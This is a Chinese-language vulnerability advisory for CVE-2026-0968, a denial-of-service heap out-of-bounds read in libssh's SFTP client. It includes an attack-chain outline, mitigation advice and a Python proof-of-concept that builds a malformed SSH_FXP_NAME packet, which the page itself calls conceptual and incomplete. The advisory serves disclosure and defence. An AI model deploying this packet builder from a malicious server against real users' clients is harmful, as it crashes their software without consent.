IPBUF安全漏洞报告
English
CVE-2026-0968 CVSS 3.1 低危

CVE-2026-0968 libssh SFTP服务端拒绝服务漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-0968
漏洞类型
内存越界读取
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libssh

相关标签

拒绝服务内存越界读取libsshSFTPCVE-2026-0968

漏洞概述

libssh库存在一处安全缺陷。当客户端连接到恶意SFTP服务器并执行文件列表操作时,攻击者可发送包含畸形'longname'字段的`SSH_FXP_NAME`消息。由于代码缺少空值检查,导致程序读取堆分配内存之外的越界数据。这可能引发应用程序异常或崩溃,造成拒绝服务(DoS)。该漏洞需网络攻击向量和用户交互。

技术细节

该漏洞源于libssh在处理SFTP协议文件列表响应时的逻辑缺陷。具体而言,当libssh客户端尝试解析服务器响应的`SSH_FXP_NAME`数据包时,该数据包包含用于显示文件详细信息的'longname'字段。由于代码在处理该字段时缺少必要的空指针检查或长度校验,攻击者可以通过搭建恶意SFTP服务器,向客户端发送包含畸形数据的'longname'字段。当受害者使用存在漏洞的libssh版本连接并执行目录列表操作时,客户端将依据恶意数据进行内存读取,从而导致堆越界读取。这种内存访问违规通常会导致应用程序段错误或意外终止,形成拒绝服务攻击。尽管主要风险是DoS,但越界读取也增加了内存信息泄露的潜在风险。

攻击链分析

STEP 1
步骤1
攻击者搭建一个恶意的SFTP服务器,该服务器经过特殊配置,能够响应客户端请求。
STEP 2
步骤2
诱导受害者使用存在CVE-2026-0968漏洞的libssh版本作为客户端连接到该恶意服务器。
STEP 3
步骤3
受害者在SFTP会话中执行文件列表操作(如ls或dir命令),请求文件信息。
STEP 4
步骤4
恶意服务器响应`SSH_FXP_NAME`数据包,其中包含精心构造的畸形'longname'字段。
STEP 5
步骤5
libssh客户端解析数据包时,因缺少空值检查而触发堆越界读取,导致进程崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Simulated Malicious SFTP Server for CVE-2026-0968 PoC # This script demonstrates the generation of a malformed SSH_FXP_NAME packet. def create_malicious_sftp_name_packet(): # Packet Type: SSH_FXP_NAME (104) packet_type = 104 request_id = 1 count = 1 filename = b"exploit.txt" # Malformed longname: This field is crafted to trigger the missing null check # leading to a heap out-of-bounds read in the vulnerable libssh client. malformed_longname = b"A" * 1000 # Excessive length or missing null terminator # Construct payload (simplified structure) payload = struct.pack('!I', request_id) payload += struct.pack('!I', count) # Filename string (4-byte length + data) payload += struct.pack('!I', len(filename)) + filename # Longname string (4-byte length + malformed data) payload += struct.pack('!I', len(malformed_longname)) + malformed_longname # Dummy attributes (flags) payload += struct.pack('!I', 0) # Full packet: 4-byte length + 1-byte type + payload full_packet = struct.pack('!I', len(payload) + 1) + struct.pack('!B', packet_type) + payload return full_packet # Note: This is a conceptual payload generator. # A full exploit would require implementing the SSH handshake and SFTP protocol channel.

影响范围

libssh < 0.11.4
libssh < 0.12.0

防御指南

临时缓解措施
若无法立即升级,应避免使用受影响的libssh客户端连接到不可信或不受控的SFTP服务器。建议在网络边界实施严格的访问控制策略,阻断对未知SFTP服务的连接,并监控应用崩溃日志以发现潜在的攻击活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表